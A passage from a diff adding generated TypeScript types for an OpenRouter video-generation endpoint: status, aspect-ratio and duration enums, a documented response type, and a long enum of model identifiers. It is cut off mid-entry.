OpenrouterPostVideosAlibabaWan27Status200 + +export const openrouterPostVideosAlibabaWan30Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosAlibabaWan30Status200StatusEnumKey = + (typeof openrouterPostVideosAlibabaWan30Status200StatusEnum)[keyof typeof openrouterPostVideosAlibabaWan30Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan30Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosAlibabaWan30Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosAlibabaWan30RequestAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosAlibabaWan30RequestAspectRatioEnumKey = + (typeof openrouterPostVideosAlibabaWan30RequestAspectRatioEnum)[keyof typeof openrouterPostVideosAlibabaWan30RequestAspectRatioEnum] + +export const openrouterPostVideosAlibabaWan30RequestDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, + '21': 21, + '22': 22, + '23': 23, + '24': 24, + '25': 25, + '26': 26, + '27': 27, + '28': 28, + '29': 29, + '30': 30, +} as const + +export type OpenrouterPostVideosAlibabaWan30RequestDurationEnumKey = + (typeof openrouterPostVideosAlibabaWan30RequestDurationEnum)[keyof typeof openrouterPostVideosAlibabaWan30RequestDurationEnum] + +export const openrouterPostVideosAlibabaWan30RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 